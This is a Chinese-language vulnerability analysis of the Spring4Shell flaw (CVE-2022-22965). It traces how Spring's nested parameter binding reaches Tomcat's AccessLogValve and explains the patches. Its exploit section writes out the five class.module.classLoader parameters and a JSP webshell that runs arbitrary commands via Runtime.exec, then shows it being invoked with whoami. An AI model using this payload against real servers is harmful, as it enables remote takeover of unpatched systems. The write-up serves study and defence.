Spring 远程命令执行漏洞分析(CVE-2022-22965)

0x00 前言

最近想学习学习spring框架方面的漏洞。刚好今年上半年爆了一个spring框架的远程命令执行漏洞,随即赶紧来分析一波

这个漏洞总的来说是因为:通过spring参数绑定处存在的缺陷使得可以修改tomcat的日志记录相关类AccessLogValve的成员变量从而达到修改tomcat日志记录的配置,最终导致写入jsp马

0x01 环境搭建

jdk 9.0.4

tomcat 8.5.27(8.5.79漏洞测试失败)

spring-beans 5.3.17

spring-boot 2.7.1(内置为spring mvc 5.3.21)

war包部署

首先需要将源码打包成war

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NAXFO5fO-1660473500002)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814105600737.png)]

此时会在target目录下生成项目的war包

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UhyyTnl6-1660473500003)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814105730032.png)]

将其放置在tomcat/webapps/下面

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mRZdBV2Y-1660473500003)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814105807946.png)]

点击setart.bat启动tomcat此时就会生成对应的目录

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UMKdjXSw-1660473500003)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814105851999.png)]

修改目录名为ROOT使该项目运行在根路径下面

访问项目,正常运行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yBGkWFEE-1660473500004)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814105934734.png)]

远程调试

此时我们需要用idea调试war包,怎么做呢

首先给tomcat/bin/catalina.bat前面添加如下代码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NlKruobX-1660473500004)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814110109801.png)]

PS: 此处端口号一定要和idea中配置的端口号一致

启动tomcat

在源码处打开IDEA,点击配置,添加一个remote jvm debug,配置如下,必须与catalina.bat中配置的端口号相同

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YX2Q6v5V-1660473500004)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814110223069.png)]

点击debug,当出现如下显示则说明远程调试搭建成功

在这里打上断点

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sRSUkqNk-1660473500005)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814110350901.png)]

访问/test?username=aaa时成功debug

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-n18tBv42-1660473500005)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814110435012.png)]

参考:https://blog.csdn.net/qq_38217294/article/details/121769266

0x02 漏洞利用

我们需要传入五个参数分别达到修改日志的目录、前缀、后缀、日期格式(即文件名前缀后面那部分)和日志格式

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

class.module.classLoader.resources.context.parent.pipeline.first.pattern=此处为webshell内容

发送带有webshell的请求,此处使用header头是因为%>这种的字符放在请求参数中可能存在bug

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pKIaYzdJ-1660473500006)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814161726760.png)]

其中class.module.classLoader.resources.context.parent.pipeline.first.pattern的值为%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i

PS:AccessLogValve输出的日志中可以通过形如%{xxx}i等形式直接引用HTTP请求和响应中的内容

最终会在网站根目录webapps/ROOT下写入tomcatwar.jsp

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rcDsCIcQ-1660473500006)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814162212383.png)]

访问/tomcatwar.jsp?pwd=j&cmd=whoami,成功getshell

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1es8JGOQ-1660473500006)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814162403318.png)]

POC

https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py

0x03 漏洞分析

spring从http请求中自动解析变量,并赋值给user对象,这就是Spring的参数绑定

参数绑定支持多层嵌套,比如请求参数名为a.b.c.d时,则有以下的调用链:

User.geta()
	a.getb()
		b.getc()
			c.setd()

具体spring是如何进行参数绑定的可以跟一下这篇文章,写的很详细

https://blog.ninefiger.top/2022/04/02/Spring%20Framework%20RCE%E5%88%86%E6%9E%90/

这里我大概讲一下

首先说一下入口,tomcat处理好request对象后交给spring的DispatcherServlet#doDispatch方法

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ryOKndzw-1660473500007)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814163709086.png)]

跟入ha.handle,这里一路跟下去到dobind开始讲解,中间的部分可以参考https://blog.ninefiger.top/2022/04/02/Spring%20Framework%20RCE%E5%88%86%E6%9E%90/

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7jlTtFEZ-1660473500007)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814163441050.png)]

来到doBind后可以看到mpvs中包含了请求的参数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-o6HdE7UC-1660473500007)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814163818603.png)]

跟进后,可以看到applyPropertyValues,大概能猜到在这里进行参数的赋值

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5eLr7Mf7-1660473500008)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814163942969.png)]

跟进applyPropertyValues,可以看到this.getPropertyAccessor()是User的包装类,然后调用setPropertyValues给User赋值

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lMBA9zhi-1660473500008)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814164043634.png)]

跟进setPropertyValues,可以看到对propertyValues进行遍历(这里的propertyValues就是之前那个mpvs),对每一个PropertyValue进行参数绑定

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qzFPGGac-1660473500008)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814164404935.png)]

跟入setPropertyValue,这个函数非常关键,这个getPropertyAccessorForPropertyPath就是获取参数key表示的最终包装类。

比如参数key为class.module.classLoader.resources.context.parent.pipeline.first.directory。则这里的nestPa就是getfirst()返回值即Accesslogvalve的包装类,然后调用其setPropertyValue给directory赋值

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mMOvHapO-1660473500008)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814165844794.png)]

getPropertyAccessorForPropertyPath

这里我们跟进getPropertyAccessorForPropertyPath看看它到底是怎么做的,此时传入的propertyName为class.module.classLoader.resources.context.parent.pipeline.first.directory

这里也可以参考麦兜师傅的文章:https://paper.seebug.org/1877/#_3

getPropertyAccessorForPropertyPath(String):该方法通过递归调用自身,实现对class.module.classLoader.resources.context.parent.pipeline.first.pattern的递归解析,设置整个调用链。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-H11JmrSv-1660473500008)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814170303836.png)]

跟进后,首先计算第一个.出现的位置,这里计算出来是5,然后按点分割。此时nestedProperty为class,nestedPath为module.classLoader.resources.context.parent.pipeline.first.directory。注意这里的this为user的包装类

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-t3C7X5YL-1660473500009)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814170449168.png)]

然后在getNestedPropertyAccessor方法,这个方法会返回class的包装类,跟进去看一下

跟进getPropertyValue,其中tokens在是nestedProperty的格式化效验,也就是参数中的id

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qzMog2FK-1660473500009)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814171105167.png)]

跟进getLocalPropertyHandler

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UmZLhooI-1660473500009)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814171137624.png)]

this为user的包装类,这里可以理解为获取user类的class成员变量的属性描述器,里面有属性的get/set方法,可以对该属性进行一些修改操作

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bX9d43Ts-1660473500009)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814171507852.png)]

然后对其包装一下并返回给ph,回到上层来到ph.getValue

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UUC3NeA1-1660473500009)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814171628865.png)]

跟入getValue,来到了最后的地方了。class的包装类获取自己的get函数然后反射调用从而达到获取class对象

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yORfIHnI-1660473500010)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814171922247.png)]

回到上一层,此时我们有了class对象了,然后return回去

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8xp8BpA8-1660473500010)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814172408365.png)]

回到上一层,给class对象包装一下继续返回

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wv3eFYbr-1660473500010)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814172516287.png)]

回到了刚开始的地方,这里的nestedPa就是class对象的包装类。然后调用nestedPa.getPropertyAccessorForPropertyPath,再次进入该函数,但是此时this就变成了class对象的包装类而不是user对象了。寻找下一个点然后分割字符串

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TyeN36qj-1660473500010)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814172655423.png)]

此时getNestedPropertyAccessor就是为了获取module的包装类了,和上面的步骤一样先获取class中module的属性描述符然后从中拿到module的getter方法,反射调用getter最终获得module对象然后包装一下返回给nestedPa。可以看到nestedPa是module的包装类

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cdK0VCYw-1660473500010)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814172758920.png)]

再调用getPropertyAccessorForPropertyPath方法,就获取到了classloder的包装类。

注意这里的classloader实际上是parallelwebappclassloader,只有在war包部署的情况下才会返回的是parallelwebappclassloader

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eTHtFAf6-1660473500011)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814173014425.png)]

这里也是跳向tomcat的关键,module对象是java.lang包下的,而parallelwebappclassloader是tomcat-embed-core包下的。实现了从spring跳向了tomcat,接下来就是一步步获取tomcat内置的Accesslogvalve类

class.module.classLoader.resources.context.parent.pipeline.first.directory

我们现在走到了classloder这一步,接下来继续调用getPropertyAccessorForPropertyPath获取resource,this.getNestedPropertyAccessor也就是执行parallelwebappclassloader#getresources

可以看到拿到了standroot的包装类

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iZRhhG1R-1660473500011)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814173835727.png)]

继续getPropertyAccessorForPropertyPath,等同于standroot#getcontext,获得standcontext的包装类

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MpvzZ84x-1660473500011)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814173921447.png)]

继续getPropertyAccessorForPropertyPath,等同于standcontext#getparent,获得standHost的包装类

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ql2wK5uW-1660473500011)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814174024861.png)]

继续getPropertyAccessorForPropertyPath,等同于standHost#getpipeline,获得standpipeline的包装类

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ook3zpQ7-1660473500012)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814174120832.png)]

继续getPropertyAccessorForPropertyPath,等同于standpipeline#getfirst,终于拿到了Accesslogvalve的包装类

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6cQ4gl6k-1660473500012)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814174210103.png)]

继续getPropertyAccessorForPropertyPath,因为字符串已经没点了,所以进入else分支返回Accesslogvalve的包装类

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yj9aVWLO-1660473500012)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814174338743.png)]

一路返回回去,回到setPropertyValue,此时nestedPa就是Accesslogvalve的包装类

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HUBYrViN-1660473500012)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814174538322.png)]

setPropertyValue

此时利用Accesslogvalve包装类的setPropertyValue赋值

其中pv如下,这样就使得Accesslogvalve对象的directory值变为了webapps/ROOT

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-56gPElab-1660473500012)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814174631395.png)]

同样的发送class.module.classLoader.resources.context.parent.pipeline.first.pattern = %{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i时就会让Accesslogvalve对象的pattern值变为参数的value,其中%{c2}i 会从header中取出对应的并替换这里

总结

class.module.classLoader.resources.context.parent.pipeline.first.pattern=此处为webshell内容

按照上述调试方法,依次调试完所有的递归轮次并观察相应的变量,最终可以得到如下完整的调用链:

User.getClass()   //Class
    java.lang.Class.getModule()   //module
        java.lang.Module.getClassLoader()   //parallelwebappclassloader
            org.apache.catalina.loader.ParallelWebappClassLoader.getResources()   //standRoot
                org.apache.catalina.webresources.StandardRoot.getContext()   //standContext
                    org.apache.catalina.core.StandardContext.getParent()   //standHost
                        org.apache.catalina.core.StandardHost.getPipeline()   //standPipeline
                            org.apache.catalina.core.StandardPipeline.getFirst()   //AccessLogValve
                                org.apache.catalina.valves.AccessLogValve.setPattern()

正如漏洞利用那块所说

我们需要传入五个参数分别达到修改日志的目录、前缀、后缀、日期格式(即文件名前缀后面那部分)和日志格式

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

class.module.classLoader.resources.context.parent.pipeline.first.pattern=此处为webshell内容

这样就可以使得tomcat的日志输出内容为我们定制的webshell并且日志后缀为jsp并且文件名为tomcatwar并且保存在网站根目录下

0x04 利用关键点

Web应用部署方式

必须要是以war包的部署方式

ParallelWebappClassLoader在Web应用以war包部署到Tomcat中时使用到。现在很大部分公司会使用SpringBoot可执行jar包的方式运行Web应用,在这种方式下,我们看下classLoader嵌套参数被解析为什么,如下图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XC0y5JQn-1660473500013)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814175933456.png)]

这个并不是我们想要的classloder,其没有getResources方法

JDK版本

必须得是jdk 9以上的版本,因为在jdk9以下的版本中Class并没有module属性。从而无法获取classloder对象

但是还可以通过class.getclassloder获取classloder对象呀,为什么要用class.module.classloder而不用class.classloder呢?

因为在spring做了安全保护,不允许获得class的classloder属性描述器,从而就无法反射调用getclassloder获取classloder对象

在JDK 1.9之后,Java为了支持模块化,在java.lang.Class中增加了module属性和对应的getModule()方法,自然就能通过如下调用链绕过判断:

user.getClass()
    java.lang.Class.getModule() 
        java.lang.Module.getClassLoader()  // 绕过
            BarClassLoader.getBaz()
                ......

这块麦兜师傅说的很清楚了:https://paper.seebug.org/1877/#_4

0x05 修复措施

Spring 5.3.18修复

可以看到在获取对象的属性描述符时更改了判断逻辑。现在是获取Class对象的属性描述器时只能获取到name和以Name结尾的属性的属性描述器了,所以说就获取不到module的属性描述器了,从而无法getmodule。利用java.lang.Class.getModule()的路子就走不通了。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-J0GT6BHo-1660473500013)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814181407764.png)]

Tomcat 9.0.62修复

将ParallelWebappClassLoader父类WebappClassLoaderBase的getResource方法修改为直接返回null

堵住了class.module.classLoader.resources

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PoYJeOo1-1660473500013)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814181721359.png)]

0x06 总结

总的来说就是spring在进行参数绑定时支持嵌套绑定,使得形如class.module.classLoader.resources.context.parent.pipeline.first.pattern这样的参数可以穿越修改AccessLogvlave的pattern属性,从而导致tomcat的日志配置被修改。通过该方式修改日志的内容以及文件名达到写马的目的

  • 明白spring参数绑定的流程,主要在getPropertyAccessorForPropertyPath和setPropertyValue

举个例子:对于class.module.classLoader.resources.context.parent.pipeline.first.pattern = xxxx

在getPropertyAccessorForPropertyPath中可以理解为首先从user中获取class的属性描述器,然后从属性描述器中获取getclass方法然后反射调用user#getclass获取class对象。然后从class中获取module的属性描述器,然后从属性描述器中获取getmodule方法然后反射调用class#getmodule获取module对象。然后从module中获取classLoader的属性描述器,然后从属性描述器中获取getclassLoader方法然后反射调用module#getclassLoader获取classLoader对象。。。。。。。。。。最终反射调用standpipeline#getfirst获取AccessLog对象

然后调用AccessLog对象包装类的setPropertyValue方法设置AccessLog.pattern的值为xxxx

  • 在此基础上可以很容易理解payload是如何修改AccessLogvlave属性值的

0x07 参考文章

https://paper.seebug.org/1877

https://blog.ninefiger.top/2022/04/02/Spring%20Framework%20RCE%E5%88%86%E6%9E%90/

https://www.kingkk.com/2022/04/CVE-2022-22965-SpringFramework-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

https://www.anquanke.com/post/id/272149

https://tttang.com/archive/1532/

https://tomcat.apache.org/tomcat-9.0-doc/config/valve.html#Access_Logging

https://johnfrod.top/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%A4%8D%E7%8E%B0/spring-beans-rce%EF%BC%88cve-2022-22965%EF%BC%89/

  • 0
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值